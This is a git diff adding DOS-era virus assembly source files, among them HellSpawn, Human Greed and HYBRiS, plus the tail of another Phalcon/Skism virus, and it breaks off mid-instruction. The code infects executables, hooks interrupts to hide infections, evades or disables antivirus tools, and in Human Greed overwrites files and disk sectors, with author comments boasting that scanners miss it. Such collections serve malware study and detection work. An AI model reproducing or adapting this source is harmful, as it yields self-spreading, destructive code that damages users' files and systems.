10h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,18h,20h,20h,0DEh +DB 10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,05h +DB 0DEh,10h,20h,14h,19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h +DB 20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h +DB 14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h +DB 14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,18h,20h,10h,19h,03h,14h +DB 20h,10h,19h,02h,14h,20h,20h,10h,19h,05h,14h,20h,20h,10h,19h,06h,14h,20h +DB 20h,10h,20h,20h,14h,20h,10h,19h,02h,14h,20h,10h,19h,03h,14h,20h,10h,19h +DB 02h,14h,20h,10h,19h,02h,14h,20h,20h,10h,20h,20h,14h,20h,10h,19h +DB 03h,14h,20h,20h,10h,19h,06h,14h,20h,20h,10h,19h,04h,14h,20h +DB 10h,19h,02h,14h,20h,20h,18h,20h,10h,19h,03h,14h,20h,10h,19h,02h +DB 14h,20h,10h,19h,06h,14h,20h,10h,19h,07h,14h,20h,10h,19h,02h,14h +DB 20h,10h,19h,02h,14h,20h,10h,19h,03h,14h,20h,10h,19h,06h,14h,20h +DB 10h,19h,02h,14h,20h,10h,19h,03h,14h,20h,10h,19h,07h,14h,20h,10h,19h +DB 05h,14h,20h,10h,19h,03h,14h,20h,18h,20h,10h,19h,00Fh,14h,20h,10h,19h +DB 07h,14h,20h,10h,19h,02h,14h,20h,10h,19h,07h,14h,20h,10h,19h,06h +DB 14h,20h,10h,19h,07h,14h,20h,10h,19h,07h,14h,20h,10h,19h,00Ah,14h +DB 20h,18h,20h,10h,19h,00Fh,14h,20h,10h,19h,07h,14h,20h,10h,19h,13h,14h +DB 20h,10h,19h,10h,14h,20h,18h,10h,19h,40h,14h,20h,18h,18h,2Ah +;--------------------------------------------------- + DB 00 ;00454 + DB "*.EXE" ;00455 + DB 00h,"\",00h,03h ;0045A + DB 8 DUP("?") ;0045E 3F + DB " " ;00466 202020 +;--------------------------------------------------- +;This area is perplexing. Doesn't seem to be ever called, nor read from. + ADC AX,[BP+DI] ;00469 1303 __ + ADD [BX+SI],AL ;0046B 0000 __ + ADD [BP+SI],CH ;0046D 002A _* + SHR BP,1 ;0046F D1ED __ + DEC DX ;00471 4A J + ADC DL,DS:[0E278h] ;00472 121678E2 __x_ + PUSH SS ;00476 16 _ + ADD [BX+SI],AL ;00477 0000 __ + ADD [BX+SI],AL ;00479 0000 __ +;--------------------------------------------------- + DB "ARMOR" ;0047B 41524D4F52 + DB 00h ;00480 + DB " " ;00481 2020 + DB 00h ;00483 + DB 00h ;00484 + DB 00h ;00485 + DB 00h ;00486 + DB 00h ;00487 + DB 03h ;00488 + DB 8 DUP("?") ;00489 3F + DB "EXE" ;00491 455845 + DB 07h ;00494 + DB 04h ;00495 + DB 00h ;00496 + DB "3" ;00497 33 + DB 1Fh ;00498 + DB "*" ;00499 2A + DB 0D1h ;0049A + DB 0EDh ;0049B + DB "J " ;0049C 4A20 + DB 02h ;0049E + DB "x" ;0049F 78 + DB 0F0h ;004A0 + DB 16h ;004A1 + DB 02h ;004A2 + DB 00h ;004A3 + DB 00h ;004A4 + DB 00h ;004A5 + DB "SAMPLE3.EXE" ;004A6 53414D504C4533 + DB 00h ;004B1 + DB 00h ;004B2 + DB 9Eh ;004B3 + DB "-]" ;004B4 2D5D + DB 04h ;004B6 + DB 88h ;004B7 + DB 04h ;004B8 + DB 9Eh ;004B9 + DB "-" ;004BA 2D + DB 00h ;004BB + DB "ARMOR" ;004BC 41524D4F52 + DB 00h ;004C1 + DB 58 DUP(00h) ;004C2 +HANDLE: DB 05h ;004FC + DB 00h ;004FD + DB 02h ;004FE + DB "x" ;004FF 78 + DB 0F0h ;00500 + DB 16h ;00501 + DB " " ;00502 20 + DB 00h ;00503 + DB 0CDh ;00504 + DB " " ;00505 20 + DB 00h ;00506 + DB 00h ;00507 + DB "Written by Dennis Yelle" ;00508 5772697474656E + DB 00h ;0051F +;--------------------------------------------------- +; Create new encryption key +H00520: MOV AX,3000h ;00520 B80030 __0 + INT 21h ;2-DOS_Ver ;00523 CD21 _! + CMP AL,02h ;00525 3C02 <_ + JB H0056B ;00527 7242 rB + MOV AH,2Ch ;00529 B42C _, + INT 21h ;1-Get_Time ;0052B CD21 _! + MOV DS:[0103h],DX ;0052D 89160301 ____ +; Check to see if it's the last Friday in month, if so, go off. +H00531: MOV AH,2Ah ;00531 B42A _* + INT 21h ;1-Get_Date ;00533 CD21 _! + CMP DL,19h ;00535 80FA19 ___ + JL H0053E ;00538 7C04 |_ + CMP AL,05h ;0053A 3C05 <_ + JZ H00541 ;0053C 7403 t_ +H0053E: JMP H005F2 ;0053E E9B100 ___ +;--------------------------------------------------- +; GO OFF! +H00541: MOV AH,0Fh ;00541 B40F + INT 10h ;Get current vid mode ;00543 CD10 + CMP AL,07h ;00545 3C07 + JZ H00568 ;If mono, format ;00547 741F + MOV AX,0003h ;80x25 16 color ;00549 B80300 + INT 10h ;Set video mode ;0054C CD10 + MOV AH,01h ;0054E B401 + MOV CX,0808h ;No cursor ;00550 B90808 + INT 10h ;Set cursor size ;00553 CD10 + MOV SI,013Ah ;00555 BE3A01 + MOV AX,0B800h ;Video segment ;00558 B800B8 + MOV ES,AX ;ES_Chg ;0055B 8EC0 + MOV DI,0000h ; ;0055D BF0000 + MOV CX,0319h ;00560 B91903 + CALL H0057E ; . . . . . . . . . ;00563 E81800 + JMP Short H00531 ;00566 EBC9 +;--------------------------------------------------- +H00568: JMP Short H005DC ;00568 EB72 _r +;--------------------------------------------------- + NOP ;0056A 90 _ +H0056B: JMP H0061E ;0056B E9B000 ___ +;--------------------------------------------------- + DB " -=PHALCON=- " ;0056E 20202D3D504841 + DB 00h ;0057D + +;--------------------------------------------------- +; Display message... TheDraw algorythm for unpacking image. +H0057E: JCXZ H005DB ;Jumps to a ret ;0057E E35B _[ + MOV DX,DI ;00580 8BD7 __ + XOR AX,AX ;00582 33C0 3_ + CLD ;00584 FC _ +H00585: LODSB ;Take a byte ;00585 AC _ + CMP AL,20h ;If it's + MOV BX,DS:[HANDLE] ;006BF 8B1EFC04 ____ + INT 21h ;2-Close_Fl_Hdl ;006C3 CD21 _! + MOV BX,DS:[0504h] ;006C5 8B1E0405 ____ + CMP BX,03EBh ;006C9 81FBEB03 ____ + JNZ H006DE ;006CD 750F u_ +H006CF: MOV AH,1Ah ;006CF B41A __ + MOV DS,DS:[04B9h] ;DS_Chg ;006D1 8E1EB904 ____ + MOV DX,DS:[04B7h] ;006D5 8B16B704 ____ + INT 21h ;1-Set_DTA ;006D9 CD21 _! + JMP H00653 ;006DB E975FF _u_ +;--------------------------------------------------- +H006DE: MOV DX,04A6h ;006DE BAA604 ___ + MOV AX,3D02h ;006E1 B8023D __= + INT 21h ;2-Open_Fl_Hdl ;006E4 CD21 _! + MOV DS:[HANDLE],AX ;006E6 A3FC04 ___ + CALL INFECT ; . . . . . . . . . ;006E9 E834FA _4_ +H006EC: MOV AX,5701h ;006EC B80157 __W + MOV BX,DS:[HANDLE] ;006EF 8B1EFC04 ____ + MOV CX,DS:[04FEh] ;006F3 8B0EFE04 ____ + MOV DX,DS:[0500h] ;006F7 8B160005 ____ + INT 21h ;2-Fl_Hdl_Date_Time ;006FB CD21 _! + MOV AX,4301h ;006FD B80143 __C + MOV CX,DS:[0502h] ;00700 8B0E0205 ____ + MOV DX,04A6h ;00704 BAA604 ___ + INT 21h ;2-Fl_Hdl_Attr ;00707 CD21 _! + MOV AH,3Bh ;00709 B43B _; + MOV DX,045Bh ;0070B BA5B04 _[_ + INT 21h ;2-Chg_Dir ;0070E CD21 _! + MOV AH,3Bh ;00710 B43B _; + MOV DX,04BCh ;00712 BABC04 ___ + INT 21h ;2-Chg_Dir ;00715 CD21 _! + MOV AX,4C00h ;00717 B8004C __L + INT 21h ;2-TERM_w_Ret_Cd ;0071A CD21 _! +;--------------------------------------------------- + DB "Hellraiser/SKISM" ;0071C 48656C6C726169 +;--------------------------------------------------- + +P00100 ENDP + +CODE ENDS + END H00100 + +;------------------------------------------------------------------------------- + diff --git a/h/HSPAWN.ASM b/h/HSPAWN.ASM new file mode 100755 index 0000000..2222b2c --- /dev/null +++ b/h/HSPAWN.ASM @@ -0,0 +1,580 @@ +; HellSpawn Virus (c) 1993 by Stormbringer +; +; +; Stormbringer +;  +; +.model tiny +.radix 16 +.code + org 100 +start: + jmp EntryPoint + +FindZero: + lodsb + or al,al + jne FindZero + + cmp ds:[si-4],'XE' + je InfectOnOpen + + cmp ds:[si-4],'OC' + jne Doneopen + +OpenRequestedFile: + mov ax,3d00 + pushf + call dword ptr cs:[IP_21] + xchg bx,ax + + xor cx,cx + xor dx,dx + mov ax,4202 + call FakeInt21 + + cmp ax,endmain-start + jne CloseUp + + pop di si ds es dx cx bx ax + stc + retf 002 + +CloseUp: + jc CloseUp + mov ah,3e + call FakeInt21 +doneOPen: + pop di si ds es dx cx bx ax + jmp Go21 + +InfectOnOpen: + pop di si ds es dx cx bx ax + jmp Execute + +NewOpen: + push ax bx cx dx es ds si di + mov dx,si + jmp FindZero +Open: + push ax bx cx dx es ds si di + mov si,dx + jmp FindZero + +Terminateprog: + mov byte ptr cs:[StealthOn],1 + jmp Go21 + + +Int21: + cmp ah,4c + je Terminateprog + or ah,ah + je Terminateprog + cmp byte ptr cs:[StealthOn],0 + je AfterStealthChecks + cmp ah,11h + je FindFile + cmp ah,12h + je FindFile + cmp ah,4eh + je FindHandle + cmp ah,4fh + je FindHandle + +AfterStealthChecks: + cmp ax,6c00 + je NewOpen + cmp ah,3dh + je Open + cmp ax,4b00h + jne Go21 + jmp Execute + +Go21: + jmp dword ptr cs:[IP_21] + +FindHandle: + pushf + call dword ptr cs:[IP_21] + jc ErrorHandleCall + + push ax bx cx dx es ds si di +GetDTA: + mov ah,2f + call FakeInt21 + + cmp word ptr es:[bx+1a],endmain-start ;Check size + jne EndHandle + + mov ah,byte ptr es:[bx+15] + and ah,2 + jz Endhandle + + pop di si ds es dx cx bx ax + + mov ah,4f + jmp FindHandle + +EndHandle: + pop di si ds es dx cx bx ax + clc +DoneHandleStealth: + retf 02 + +ErrorHandleCall: + mov ah,12 + retf 02 + +FindFile: + call FakeInt21 + cmp al,0ff + je ErrorFF + +Stealth: + push ax bx cx dx es ds si di + + mov ah,2f + call FakeInt21 + + cmp byte ptr es:[bx],0ff + jne NotExtended + add bx,7 +NotExtended: + + cmp word ptr [bx+9],'OC' + jne DoneFF + cmp word ptr [bx+1dh],endmain-start + jne DoneFF + +FindNextFile: + pop di si ds es dx cx bx ax + mov ah,12 + jmp FindFile + +DoneFF: + pop di si ds es dx cx bx ax + iret + +ErrorFF: + mov al,0ff + iret + + +Execute: + push ax bx cx dx es ds si di + + call SetCritical + + mov si,dx +FindEndOfFilename: + lodsb + or al,al + jne FindEndOfFilename + +CheckForCHKDSK: + cmp word ptr ds:[si-9],'DK' + jne AfterChkdsk + + mov byte ptr cs:[StealthOn],0 + +AfterChkdsk: + cmp byte ptr ds:[si-0a],'-' ;If it's f-prot, exit + je EndExec + + cmp word ptr ds:[si-4],'XE' + jne EndExec + + mov si,dx + mov di,offset filename + push cs + pop es + +CopyFilename: + lodsb + stosb + or al,al + jne CopyFilename + + push cs + pop ds + +ChangeToCom: + mov word ptr es:[di-4],'OC' + mov byte ptr es:[di-2],'M' + +CheckIfThere: + mov ax,3d00 + mov dx,offset filename + call FakeInt21 + xchg bx,ax + jnc CloseVirus + +PlaceVirus: + mov ah,3c + mov cx,2 + mov dx,offset Filename + call FakeInt21 + jc EndEXEC + +WriteVirus: + inc byte ptr [InfectionCounter] + xchg bx,ax + mov ah,40 + mov cx,endmain-start + mov dx,100 + call FakeInt21 + +CloseVirus: + mov ah,3e + call FakeInt21 + +EndExec: + call ResetCritical + + pop di si ds es dx cx bx ax + jmp Go21 + + +Error13: + stc + retf 02 + +Int13: + cmp ah,02 + je IsDiskRead + jmp GoInt13 + +IsDiskRead: + pushf + call dword ptr cs:[IP_13] + jc Error13 +AbsStealth: + push ax bx cx dx es ds si di + push cs + pop ds + mov di,bx + mov si,100 + mov cx,100 + repz cmpsb + jcxz IsVirus + jmp DoneAbsStealth +IsVirus: + mov di,bx + mov ax,9090 + mov cx,0fe + repnz stosw + mov ax,20cdh + stosw + +DoneAbsStealth: + pop di si ds es dx cx bx ax + clc + retf 002 + +EntryPoint: + push ds + mov ax,ds + dec ax + mov ds,ax + mov byte ptr ds:[0],'Z' ;Mark as last in chain + sub word ptr ds:[03],80 ;Allocate Space From MCB (2k) + sub word ptr ds:[12],80 ;Allocate Space From PSP (2k) + xor ax,ax + mov ds,ax + dec word ptr ds:[413] ;Allocate Memory From Bios (2k) + dec word ptr ds:[413] + mov ax,word ptr ds:[413] + +CopyVirusToMem: + mov cl,6 + shl ax,cl + sub ax,10 + mov es,ax + pop ds + push ds + mov si,100 + mov di,100 + mov cx,end_prog-start + repnz movsb + +;BX = IP of new int, CX = CS, DX = IntNum +;DI = address of interrupt storage +SetInterrupts: + xor ax,ax + mov ds,ax + cli +SetInt21: + mov ax,offset Int21 + mov bx,es + xchg ax,word ptr ds:[21*4] + xchg bx,word ptr ds:[21*4+2] + mov word ptr es:[IP_21],ax + mov word ptr es:[CS_21],bx +SetInt13: + mov ax,offset Int13 + mov bx,es + xchg ax,word ptr ds:[13*4] + xchg bx,word ptr ds:[13*4+2] + mov word ptr es:[IP_13],ax + mov word ptr es:[CS_13],bx +SetInt10: + mov ax,offset Int10 + mov bx,es + xchg ax,word ptr ds:[10*4] + xchg bx,word ptr ds:[10*4+2] + mov word ptr es:[IP_10],ax + mov word ptr es:[CS_10],bx +SetInt1c: + mov ax,offset Int1c + mov bx,es + xchg ax,word ptr ds:[1c*4] + xchg bx,word ptr ds:[1c*4+2] + mov word ptr es:[IP_1c],ax + mov word ptr es:[CS_1c],bx + +SetInt09: + mov ax,offset Int09 + mov bx,es + xchg ax,word ptr ds:[09*4] + xchg bx,word ptr ds:[09*4+2] + mov word ptr es:[IP_09],ax + mov word ptr es:[CS_09],bx + sti + + push cs + pop ds + + mov byte ptr cs:[StealthOn],1 + +RunOriginalProgram: + mov ax,ds:[2c] + mov ds,ax + xor si,si + +FindPath: + lodsw + or ax,ax + je FoundPath + dec si + jmp FindPath + +FoundPath: + lodsw + +ChangeFilenameToEXE: + push ds + pop es + mov di,si + xor al,al + mov cx,0ff + repnz scasb + mov word ptr es:[di-4],'XE' + mov byte ptr es:[di-2],'E' + + push cs + pop es + mov ah,4a + mov bx,(end_prog-start+10f)/10 + int 21 + + mov cx,di + sub cx,si + dec cx + mov di,offset Filename + mov al,cl + stosb + repnz movsb + mov byte ptr es:[di],0dh + mov si,offset Filename + push cs + pop ds + + int 2e ;Execute Command + + mov ax,4c00 + int 21 + +FakeInt21: + pushf + call dword ptr cs:[IP_21] + ret + + +SetCritical: + push ax bx ds + xor ax,ax + mov ds,ax + mov ax,offset CriticalHandler + mov bx,cs + cli + xchg ds:[24*4],ax + xchg ds:[24*4+2],bx + mov word ptr cs:[CS_24],bx + mov word ptr cs:[IP_24],ax + sti + pop ds bx ax + ret + +ResetCritical: + push ax bx ds + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[IP_24] + mov bx,word ptr cs:[CS_24] + cli + mov word ptr ds:[24*4],ax + mov word ptr ds:[24*4+2],bx + sti + pop ds bx ax + ret + + + +CriticalHandler: + mov al,3 + iret + +Credits db 'HellSpawn v0.91a (c) 1993 by Stormbringer' +EndCred: + +Int10: + cmp ah,0 + jne GoInt10 + mov byte ptr cs:[FireActive],0 + cmp al,13 + jne GoInt10 + mov byte ptr cs:[FireActive],1 +GoInt10: + db 0ea +IP_10 dw 0 +CS_10 dw 0 + + +Int09: + push ax + in al,60h + cmp al,53h + je IsDel +NotCtrlAltDel: + pop ax +GoInt09: + db 0ea +IP_09 dw 0 +CS_09 dw 0 + +IsDel: + mov ah,2 + int 16 + and al,1100b + cmp al,0c + jne NotCtrlAltDel +RebootActivation: + mov di,0b800 + mov es,di + push cs + pop ds + mov si,offset Fire + mov ax,03 + int 10 + mov di,550 + + mov cx,7 +BtBigLoop: + push cx + +BtDrawFireLine: + mov cx,8 + FireLine: + lodsb + mov ah,'' + xchg ah,al + stosw + loop FireLine + + pop cx + add di,90 + loop BtBigLoop + +ColdBoot: + db 0ea + db 0,0,0ff,0ff + + +Int1c: + cmp byte ptr cs:[FireActive],1 + jne JmpInt1c + push ax bx cx dx es ds si di + call DrawFire + call ReverseFlame + pop di si ds es dx cx bx ax +JmpInt1c: + db 0ea +IP_1c dw 0 +CS_1c dw 0 + +DrawFire: + push cs + pop ds + mov si,offset Fire + mov di,0a000 + mov es,di + xor di,di + mov cx,7 + FireLoop: + push cx + mov cx,8 + repnz movsb + + add di,312d + pop cx + loop FireLoop + ret + +ReverseFlame: + push cs cs + pop es ds + mov si,offset Fire + mov cx,7 +FlipAll: + push cx + mov cx,4 + mov di,si + add di,7 + FlipLine: + mov al,byte ptr [si] + xchg al,byte ptr [di] + mov byte ptr [si],al + dec di + inc si + loop FlipLine + pop cx + loop FlipAll + ret +Fire: + db 00,04,00,00,00,00,00,00 + db 00,04,0c,04,00,00,00,00 + db 00,00,04,0c,04,00,00,00 + db 00,00,04,0c,04,04,00,00 + db 00,00,04,0e,0c,04,00,00 + db 00,04,04,0c,0e,0c,04,00 + db 04,04,0c,0e,0f,0c,0c,04 + +FireActive db 0 + +InfectionCounter db 0 + +GoInt13: + db 0ea +endmain: +IP_13 dw ? +CS_13 dw ? +IP_21 dw ? +CS_21 dw ? +CS_24 dw ? +IP_24 dw ? + +StealthOn db ? +filename db 50 dup(?) +end_prog: +end start diff --git a/h/HUMGREED.ASM b/h/HUMGREED.ASM new file mode 100755 index 0000000..bf02037 --- /dev/null +++ b/h/HUMGREED.ASM @@ -0,0 +1,233 @@ +; VirusName : Human Greed +; Origin : Sweden +; Author : The Unforgiven +; Date : 20/12/93 +; +; This is a "mutation" of the Infernal Demand virus, written by Metal +; Militia. Even if it's high modified, its ground is still the same. + +; This is yet another of this simple overwriting virus, and it's +; nothing really to scream hurray for. This virus will search for +; exe or com files on drive C:, and then overwrite the first 666 +; bytes, and therefor permantely destroy the victims. It used the +; "dot-dot" method for changing directory, and when all files are +; infected (overwritten), it will return to the original directory. + +; The code is encrypted, thus making it hard to detect. Scan, +; MSAV, CPAV, FindViru, F-prot and TBScan can't find a shit. +; Yes, Tbscan used to find this as the "Infernal" virus, but he +; with his 90% (nice try!) failed again!, how patetic! +; +; If a infected file is being run, it's 50% that it will display +; this stupid "Program to big to fit in memory" message. Then +; if the message is printed on the screen, it'll throw the dice +; once more. If the number are 10 or lower, it'll simple wipe out +; the first sectors by overwrite them on your C: drive. This means +; that for each run, it's 5% that it'll "go-off". + +; The "message dump" to a file under c:\ has also been deleted. +; And the new routines wich are included are, encryption, +; get/and restore directory, the randomizer, print faker, and +; of'cos the trash routine too. Hope you enjoy the code! + +;=============================================================================== +; **** HUMAN GREED **** +;=============================================================================== + +cseg segment byte public + assume cs:cseg, ds:cseg + org 100h + +virus_start: +call encrypt_decrypt +jmp encryption_start + +write_virus: ; write the virus to the +call encrypt_decrypt ; files, by overwriting + mov dx,100h ; its beginning + mov ah,40h ; + mov cx,666 ; How sadistical?? + int 21h ; + call encrypt_decrypt ; + ret + +encryption_value dw 0 +encrypt_decrypt: + mov si,offset encryption_start + mov dx,encryption_value + mov cx,(end_of_virus-encryption_start+1)/2 + +xor_loop: + xor word ptr cs:[si],dx + add si,2 +call fool_scan_for_TridenT_virus ; must call this meaningless + loop xor_loop ; routine, otherwise, infected + ret ; files will be reported by +fool_scan_for_TridenT_virus: ; SCAN as the "TridenT" virus. +ret + ; just return. +encryption_start: +; get current drive + mov ah,19h ; get current drive + int 21h ; + push ax ; +; move to c: + mov ah,0Eh ; + mov dl,02h ; drive C: + int 21h + +; get directory. + mov ah,47h + xor dl,dl + lea si,[bp+infernal+2ch] + int 21h + +great: +; find first files (starting .exe's). + mov dx,offset ExeMask ; offset 'EXEMASK' + mov ah,4Eh ; find first + int 21h ; via int21 + jnc go_for_it ; jmp if no ERROR + +; if no exe's was found, just infect.COM files. + mov dx,offset ComMask ; offset 'COMMASK' + mov ah,4Eh ; find first file + ; +again: ; + int 21h ; + jc chdir ; + +go_for_it: + mov ax,4300h ; Get attribute of file + mov dx,9eh ; Pointer to name in DTA + int 21h ; + + push cx ; Push the attrib to stack + + mov ax,4301h ; Set attribute to + xor cx,cx ; normal + int 21h ; + + mov ax,3D02h ; Open file + mov dx,9eh ; Pointer to name in DTA + int 21h + + jc next ; if error, get next file + + xchg ax,bx ; Swap AX & BX + ; so the filehandle ends up + ; in BX + + mov ax,5700h ; Get file date + int 21h ; + + + push cx ; Save file dates + push dx ; + +mov encryption_value,50 ; encryption_value. + +call write_virus ; write to file(s). + pop dx ; Get the saved + pop cx ; filedates from the stack + + mov ax,5701h ; Set them back to the file + int 21h ; + + mov ah,3Eh ; Close the file + int 21h ; + + pop cx ; Restore the attribs from + + + ; the stack. + + mov dx,9eh ; Pointer to name in DTA + mov ax,4301h ; Set them attributes back + int 21h ; + +next: + mov ah,4Fh ; now get the next file + jmp short again ; and do it all over again + +chdir: +; change directory to [..] and start infect again. + mov dx,offset dot_dot ; offset 'updir' + mov ah,3bh ; change directory + int 21h + jnc great ; jmp to great if no ERROR + +exit: +; Throw the dice.. + mov ah,2ch ; + int 21h ; + cmp dl,50 + ja real_quit ; + jmp print + +; no, quitting time, yet.. + +print: +; first print message. + mov ah,09h ; Print Fake message. + mov dx,offset sign ; + int 21h ; + +get_random: +; Throw of a die.. + mov ah,2ch ; Randomize. + int 21h ; + cmp dl,10 ; + ja real_quit ; + jmp trash ; bad bad boy.. + + +trash: +; Trash routine from Nowhere Man of [NuKE], thanks. + + cli ; + mov ah,2 ; 2=C: + cwd ; + mov cx,0100h ; + int 026h ; + JMP REAL_QUIT + +real_quit: + pop dx ; + mov ah,0Eh ; restore org. drive + int 21h ; + +; restore directory + lea dx,[bp+infernal+2ch] + mov ah,3bh + int 21h + +; time to quit + mov ah,4ch ; return to prompt + int 21h ; via int21 + +; some data. + +ExeMask db '*.EXE',0 ; tought one, huh? +ComMask db '*.COM',0 ; what is this, hm +dot_dot db '..',0 ; '..' +Note db 'That is not dead ' + db 'Which can eternal lie ' + db 'Yet with strange aeons ' + db 'Even death may die ' + db 'LiVe AfteR DeATH...' + db 'Do not waste your time ' + db 'Searching For ' + db 'those wasted years! ' + db '(c) 93/94 The Unforgiven/Immortal Riot ' + db 'Thanks to Raver and Metal Militia/IR ' +truenote db 'Maria K - Life is limited, love is forever... ' + db 'Open to reality, forever in love... ' +sign db 'Program too big to fit in memory$' ; fake message! +sadistical db ' ***HUMAN GREED*** The answer of all evil on earth! ' + db 'Do You Belive? ' + db 'Farwell!....' +end_of_virus: +infernal: +cseg ends + end virus_start diff --git a/h/HYBRIS.ASM b/h/HYBRIS.ASM new file mode 100755 index 0000000..491f661 --- /dev/null +++ b/h/HYBRIS.ASM @@ -0,0 +1,896 @@ +;=============================================================================== +; HYBRiS (c) 1995 The Unforgiven/Immortal Riot +; Brief description: +; TSR COM-infecting, full-stealth virus +; Self-encrypted +; Wasn't scannable when it was released by FP/Tbav/AVP.. +; Has quite some collection of grafical payloads (hoping to get AVP attention). +; Multipe interrupt handlers +; Int24h hooking +; Anti-anti-VSAFE-viruses. +; Special thanks to Priest & Stormbringer of Phalcon/Skism +;=============================================================================== + + + .model tiny + .code + org 100h + + vir_size equ virus_end-virus_start + + +virus_start: + + jmp entry_point + +install: + + mov ax,99 ;input = rnd_value in AX + call random ;output = (zero -> rnd_value) + jne get ;if output=0, activate.. + mov cs:[activate_flag][bp],1 + +get: + mov ax,108 + call random + jne real_get + +start_payload: + call main_payload ;'loop' until ESC is being pressed.. + in al,60h + cmp al,1 + jne start_payload + jmp short real_get + +main_payload: ;remake of a payload I wrote for + mov ax,3 ;IR#6.. + int 10h + push ax + push cx + push dx + mov ax,03f00h + mov dx,03c8h + out dx,al + inc dx + mov ax,-1 + out dx,al + xchg al,ah + out dx,al + xchg al,ah + out dx,al + mov cx,-1 + loop $ + dec dx + xor ax,ax + out dx,al + inc dx + out dx,al + out dx,al + out dx,al + pop dx + pop cx + pop ax + ret + +real_get: + mov ah,4ah ;Residency routine combined with + mov bx,-1 ;installation check + mov cx,0d00dh + int 21h + cmp ax,cx + jne not_res + jmp already_resident + +not_res: + mov ah,4ah ;resize mcb + sub bx,(vir_size+15)/16+1 ;bx=size in para's + int 21h ;es =segment + + mov ah,48h ;allocate memory block + mov bx,(vir_size+15)/16 ;bx = size in para's + int 21h ;returns pointer to the beginning + ;of the new block allocated + + dec ax ;dec ES to get pointer to mcb + mov es,ax ;es=segment + mov word ptr es:[1],8 ;ofs:1 in mcb = owner, 8 = dos + + push cs ;cs=ds + pop ds + + cld ;clear direction + sub ax,0fh ;substact 15 from ax, + mov es,ax ;thus es:[100h] = start of allocated memory + mov di,100h ;di = 100h (beginning of file) + lea si,[bp+offset virus_start] ;si points to start of virus + mov cx,(vir_size+1)/2 ;copy it resident with words + rep movsw ;until cx = 0 (the whole virus copied) + + push es ;es=ds + pop ds + + mov ax,3521h ;get interrupt vector from es:bx for + int 21h ;int21h + +tb_lup: + cmp word ptr es:[bx],05ebh ;all tbav's utils starts with this code, + jne no_tbdriver ;if its found, get next interrupt handler + cmp byte ptr es:[bx+2],0eah ;and use that as the int21h adress + jne no_tbdriver ;thereby, cutting tbav out from our + les bx,es:[bx+3] ;int21h handler. loop until it's out of + jmp tb_lup ;there. (dunno if this works anymore..) + +no_tbdriver: + mov word ptr ds:[Org21ofs],bx ;save segment:offset for int21h + mov word ptr ds:[Org21seg],es ;in a word each + + cmp byte ptr cs:[activate_flag][bp],1 ;check if we should activate + jne skip_08_get ;the int8 handler + + mov al,08h ;if so, get interrupt-vector + int 21h ;for int8h + mov word ptr ds:[org08ofs],bx + mov word ptr ds:[org08seg],es + +skip_08_get: + mov al,09h ;int9 + int 21h + mov word ptr ds:[org09ofs],bx + mov word ptr ds:[org09seg],es + + mov al,16h ;16h + int 21h + mov word ptr ds:[org16ofs],bx + mov word ptr ds:[org16seg],es + + mov dx, offset new_int21h ;set new interrupt handlers + mov ax,2521h ;to ds:dx for int21h + int 21h + + cmp byte ptr cs:[activate_flag][bp],1 ;if we didnt get int8, dont + jne skip_08_set ;set a new either! + + mov dx, offset new_08h + mov al,08h + int 21h + +skip_08_set: + mov dx,offset new_09h ;int9 handler installed + mov al,09h + int 21h + + mov dx,offset new_16h ;int 16h handler installed + mov al,16h + int 21h + +already_resident: +tbdriver: + mov di,100h + push di ;save di at 100h + push cs ;make cs=ds=es + push cs + pop es + pop ds + lea si,[bp+orgjmp] ;and copy the first 4-init-bytes to + movsw ;the beginning (in memory) so we can + movsw ;return back to the host properly + ret ;jmp di, 100h (since we pushed it above) + +new_int21h: + cmp ah,4ah ;installation check part at the beginning + jne chk_vsafe ;no 4ah executed, try next option + cmp bx,-1 ;ah = 4ah, check if bx and cx is set by + jne no_match ;our virus + cmp cx,0d00dh + jne no_match ;no. + mov ax,cx ;move cx into ax + iret ;and do a interrupt return + +chk_vsafe: + cmp ax,0fa01h ;a resident anti-virus-virus, + jne chk_exec ;checker + cmp dx,5945h + je go_vsafe + +chk_exec: + cmp ax,4b00h ;Since this is a com infector only, + je go_infect ;I don't have to check if al=0, still + ;I do it :). + +chk_close: + cmp ah,3eh ;check for file-closes + je go_close ; ==> infect + + cmp ah,3dh ;file open + je go_disinfect ; ==> disinfect + +chk_dir: + cmp ah,11h ;stealth functions on + je go_fcb_stealth ;directory listenings with + cmp ah,12h ;11/12/4e/4fh + je go_fcb_stealth + + cmp ah,4eh + je go_handle_stealth + + cmp ah,4fh + je go_handle_stealth + +no_match: + jmp do_oldint21h ;nothing matched! + +go_vsafe: ;indirect-jumps due to 128d bytes jmp's + jmp unload_vsafe ;directives. + +go_infect: + jmp infect + +go_close: + call setcritical ;if infect on close, install a critical + jmp infect_close ;error handler before + +go_disinfect: + call setcritical ;disinfect calls also modifies programs, + jmp disinfect_dsdx ;install the int24h handler before trying + ;doing disinfection + +go_fcb_stealth: ;11 & 12h calls get's here, to be + jmp hide_dir ;transfered into another routine + ;(* Very unstructured programming *) + +go_handle_stealth: + jmp hide_dir2 + +dps db "THIS PROGRAM IS (C) 1995 IMMORTAL RIOT",0 ; no shit! + +new_08h: + push ax ;If the int08h installer is + push dx ;installed, the screen background + mov dx,03c8h ;color will fade to white return + xor al,al ;to original color (black), and + out dx,al ;'loop' that procedure all over again + inc dx ;since its activated all the time by + mov al,[cs:bgcol] ;dos internal services. . + out dx,al + out dx,al + out dx,al + inc [cs:bgcol] + pop dx + pop ax + + db 0eah + org08ofs dw ? + org08seg dw ? + +bgcol db 0 + +new_09h: + + push ax ;preserve register in use + push ds + + xor ax,ax + mov ds,ax ;ds=0 + + in al,60h ;read key + cmp al,53h ;delete? + jnz no_ctrl_alt_del ;no! + + test byte ptr ds:[0417h],0ch ;test for alt OR ctrl + je no_ctrl_alt_del ; + jpo no_ctrl_alt_del ;<- Wow. ctrl and alt? + + in al,40h ;A small randomizer, this gives us + and al,111111b ;one in 64 I reckon :-). + cmp al,111111b + je no_ctrl_alt_del + + push cs + pop ds + + mov ax,3 ;set grafic mode and clear screen, too + int 10h + + mov ah,2 ;set cursor pos + xor bh,bh + mov 